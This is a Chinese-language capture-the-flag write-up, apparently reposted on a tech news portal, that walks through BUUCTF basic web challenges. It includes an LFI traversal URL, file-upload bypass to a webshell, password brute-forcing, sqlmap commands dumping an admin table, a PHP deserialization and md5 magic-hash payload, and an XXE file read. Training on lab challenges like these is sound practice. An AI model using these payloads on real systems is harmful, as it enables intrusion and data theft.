iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >【网络安全CTF】BUUCTF(Basic篇)
  • 635
分享到

【网络安全CTF】BUUCTF(Basic篇)

安全web安全 2023-08-31 22:08:05 635人浏览 独家记忆
摘要

linux Labs 解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 BUU LFI COURSE 1 访问链接:为PHP代码审计题,看题目要求构

linux Labs

解题思路:已给用户名密码,直接用ssh工具连接即可获取flag
在这里插入图片描述在这里插入图片描述
查找flag在跟下
在这里插入图片描述
提交完成。

BUU LFI COURSE 1

在这里插入图片描述
访问链接:为PHP代码审计题,看题目要求构造GET请求读取文件
Http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag
在这里插入图片描述
在这里插入图片描述

Upload-Labs-Linux 靶场

在这里插入图片描述
访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。
在这里插入图片描述
选择第一关:查看代码发现为前端js限制文件类型,这种直接使用抓包进行绕过
在这里插入图片描述
准备shell木马文件:

修改扩展名为.jpg 或.png或.gif
文件上传抓包:
在这里插入图片描述
修改扩展名为php
在这里插入图片描述
文件存放位置:
在这里插入图片描述
在这里插入图片描述
使用蚁剑链接
在这里插入图片描述
在这里插入图片描述
成功获取flag,其他关卡不在说明,通关思路都为上传绕过。

BUU BRUTE 1

在这里插入图片描述
一个登陆框:
在这里插入图片描述
随便输入账号密码:
在这里插入图片描述
提示用户名错误:
在这里插入图片描述
试试常用用户名admin、root、administrator等
发现使用admin作为用户名,提示密码为四位数字。
在这里插入图片描述
使用暴力破解:
使用字典生成器生成4位数密码:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
密码破译为:6490

在这里插入图片描述
在这里插入图片描述

BUU sql COURSE 1

在这里插入图片描述
明显的sql注入
在这里插入图片描述
使用sqlmap直接爆数据库
在这里插入图片描述加参数 -dbs
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -dbs
在这里插入图片描述
其中news和test比较显眼,查news数据库
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news --tables
在这里插入图片描述
查看admin表内字段

sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin --columns
在这里插入图片描述
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin -C id,passWord,username --dump
在这里插入图片描述
admin 加密码登陆注意这里不是md5加密,开始看错了,解半天没解出发现是明文存储的,无语。
在这里插入图片描述

BUU CODE REVIEW 1

在这里插入图片描述
代码审计:

在这里插入图片描述
代码片段:

correct = base64_encode(uniqid());  //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID,base64_encode为转换为bash64编码           if($this->correct === $this->input) {  /判断两个属性是否全等                   echo file_get_contents("/flag");  //若全等,则打印根目录下的flag           }       } catch (Exception $e) {       }   }}if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)    if($_POST['pleasepost'] === '2') {        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {            unserialize($_POST['obj']);        }    }}

第二段代码get参数简单为

http://IP/?pleaseget=1

第一段代码使用空数组绕过,给POST参数

pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

此题详解可以看:https://blog.csdn.net/weixin_43965597/article/details/126381171
在这里插入图片描述

sqli-labs

参考之前写的:https://blog.csdn.net/qq_39583774/article/details/120722112?spm=1001.2014.3001.5501

BUU UPLOAD COURSE 1

在这里插入图片描述
上传实验
这里我传的docx的文件,可以看到变成了jpg的格式
在这里插入图片描述
并看不到文件内容
在这里插入图片描述
使用抓包工具修改包:
在这里插入图片描述
尝试连接:

在这里插入图片描述

测试连接失败:
在这里插入图片描述
使用其他方式,发现这里不对,上传一个phpinfo发现能够执行,但是执行的jpg格式。
在这里插入图片描述

既然能够执行php那我们直接写一个php打印flag即可。

$output
";?>

上传直接访问即可拿到flag
在这里插入图片描述

BUU BURP COURSE 1

在这里插入图片描述

在这里插入图片描述
打开后直接显示只能本地访问,本地ip的由X-Forwarded-For和X-Real-IP进行构建
这里是使用的X-Real-IP构建的
在这里插入图片描述

在这里插入图片描述

BUU XXE COURSE 1

XXE漏洞是外部实体注入攻击
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
用burp抓包,这里是个xml的提交
在这里插入图片描述

我们在这定义了一个实体 xxe,它将指向/flag 文件,然后我们在 XML 数据中使用 &xxe; 引用这个实体,这样攻击者就可以将该文件中的内容读取到 HTTP 响应中。

]>  &xxe;  test

在这里插入图片描述

来源地址:https://blog.csdn.net/qq_39583774/article/details/127200071

--结束END--

本文标题: 【网络安全CTF】BUUCTF(Basic篇)

本文链接: https://www.lsjlt.com/news/387239.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 【网络安全CTF】BUUCTF(Basic篇)
    Linux Labs 解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 BUU LFI COURSE 1 访问链接:为php代码审计题,看题目要求构...
    99+
    2023-08-31
    安全 web安全
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
    文章目录 姿势总结 姿势 提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: inde...
    99+
    2023-10-23
    web安全 php CTF 序列化反序列化 Dirsearch
  • [CTF/网络安全] 攻防世界 PHP2 解题详析
    [CTF/网络安全] 攻防世界 PHP2 解题详析 index.php.phps扩展名姿势 翻译:你能给这个网站进行身份验证吗? index.php index.php是一个常见的...
    99+
    2023-09-01
    web安全 php 安全 网络安全
  • [CTF/网络安全] 攻防世界 backup 解题详析
    [CTF/网络安全] 攻防世界 backup 解题详析 PHP备份文件名备份文件漏洞成因备份文件名常用后缀姿势总结 题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一...
    99+
    2023-09-23
    web安全 php CTF 网络安全
  • [CTF/网络安全] 攻防世界 Web_php_unserialize 解题详析
    [CTF/网络安全] 攻防世界 Web_php_unserialize 解题详析 代码审计解题思路wakeup绕过preg_match绕过base64绕过GET传参method 2总结 ...
    99+
    2023-10-24
    CTF 网络安全 web安全
  • [CTF/网络安全] 攻防世界 simple_php 解题详析
    [CTF/网络安全] 攻防世界 simple_php 解题详析 代码解读PHP弱语言特性姿势参数a限制绕过参数b限制绕过 总结 题目描述:小宁听说php是最好的语言,于是她简单学...
    99+
    2023-09-05
    php web安全 CTF 网络安全 安全
  • 【网络安全】3.1 网络安全审计
    文章目录 1. 网络安全审计的重要性2. 网络安全审计的步骤2.1. 规划2.2. 收集数据2.3. 分析数据2.4. 报告结果 3. 网络安全审计的工具4. 网络安全审计的挑战5. 总...
    99+
    2023-10-10
    网络安全 安全
  • 服务器安全之钥:开启网络安全的新篇章
    服务器安全之钥:概览 服务器安全之钥是一种加密硬件设备,旨在保护服务器访问权限和敏感数据。它包含一个嵌入式加密芯片,存储敏感信息,例如加密密钥和数字证书。服务器安全之钥通过以下方式增强服务器安全性: 双因素身份验证:与密码一起使用服务器...
    99+
    2024-04-02
  • 下一代网络安全竞赛系统(理论、CTF、AWD)开发与设计
    一、引言 之前开发了CTF、AWD两个单独系统没有做数据整合以及数据清理,所以后期维护特别麻烦。 故使用Thinkphp6 + Mysql + Redis 重新开发系统 综合性竞赛系统(即容纳更多战队、赛题、竞赛) 二、设计 D...
    99+
    2023-10-24
    个人开发 php docker Powered by 金山文档
  • 【网络安全篇】php伪协议-漏洞及其原理
    🏆今日学习目标: 🍀学习php伪协议 ✅创作者:贤鱼 ⏰预计时间:35分钟 🎉个人主页:贤鱼的个人主页 🔥专栏系列:网络安全 &#x...
    99+
    2023-08-30
    php web安全 安全
  • Java 全面掌握网络编程篇
    目录计算机网络网络模型客户机服务器模式(Client/Server)TCP/IP的概念和实现TCP三次握手(Three-way handshake)TCP编程UDP的概念和实现UDP...
    99+
    2024-04-02
  • [网络安全/CTF] 记一次PHP序列化反序列化解题详析
    文章目录 姿势总结 姿势 题目给出以下代码: ...
    99+
    2023-10-23
    web安全 php 序列化反序列化 网络安全 代码审计
  • 网络安全入门
    威胁和漏洞 网络安全威胁是可能损害系统、网络或数据的任何事件或活动。常见的威胁包括: 恶意软件:包括病毒、蠕虫、木马和间谍软件,旨在窃取数据或破坏系统。 网络钓鱼:通过欺骗性电子邮件或社交媒体链接诱骗受害者泄露个人信息。 黑客:未经授权...
    99+
    2024-04-02
  • 【网络安全】3.2 网络入侵检测
    文章目录 一、入侵检测系统(IDS)1.1 IDS的类型1.2 IDS的工作原理1.3 IDS的示例 二、入侵防御系统(IPS)2.1 IPS的类型2.2 IPS的工作原理2.3 IPS...
    99+
    2023-10-12
    网络安全 安全
  • 网络安全学什么基础?网络安全哪个好些?
      现在许多人开始学习网络安全,希望成为网络安全工程师。但不知道该学什么以及如何成长为网络安全工程师。那么网络安全应该怎么学要掌握什么技能  实际上,具体要求取决于企业对不同职位的要求。 不同的企业对网络安全工程师有不同的要求。 一般来说,...
    99+
    2023-06-04
  • 网络安全预测:2019年五大网络安全趋势展望
    随着时间的流逝,2018年已经接近尾声,2019年即将到来,每当临近年末,大家都会结合以往的事件和经验对第二年的发展趋势进行简单的预测。那今天我们就来针对网络安全领域的发展,进行几点简单的预测(本文仅代表个人观点):趋势一:网络安全相关法律...
    99+
    2023-06-04
  • 网络安全是什么
    网络安全的是计算机通信网络的安全,计算机通信网络是将若干台具有独立功能的计算机通过通信设备及传输媒体互连起来,在通信软件的支持下,实现计算机间的信息传输与交换的系统。因此用户使用网络时候会产生一些信息资料,为了保障用户的信息安全,相应的计算...
    99+
    2024-04-02
  • 网络安全法的意义
    有助于维护国家安全;有助于保障网络安全有助于保障网络安全;是我国新推出的一部法律,是在网络安全形势严峻的情况下推出的,让互联网在法治轨道上健康运行的重要保障,为将来可能的制度创新做了原则性规定,为网络安全工作提供切实法律保障。对我国打击网络...
    99+
    2024-04-02
  • 云服务器网络安全
    首先,云服务器需要具备可靠性。云服务器提供商通常会为其云服务器提供高可靠性的服务,以确保用户数据的安全。但是,云服务器也可能存在数据丢失或损坏的风险。为了解决这个问题,云服务器提供商通常会采取一系列措施,例如备份数据、使用强密码、设置自动备...
    99+
    2023-10-28
    网络安全 服务器
  • 网络安全法是什么
    网络安全法是我国第一部全面规范网络空间安全管理方面问题的基础性法律,由全国人民代表大会常务委员会于2016年11月7日发布,自2017年6月1日起施行。是我国网络空间法治建设的重要里程碑,是依法治网、化解网络风险的法律重器,是让互联网在法治...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作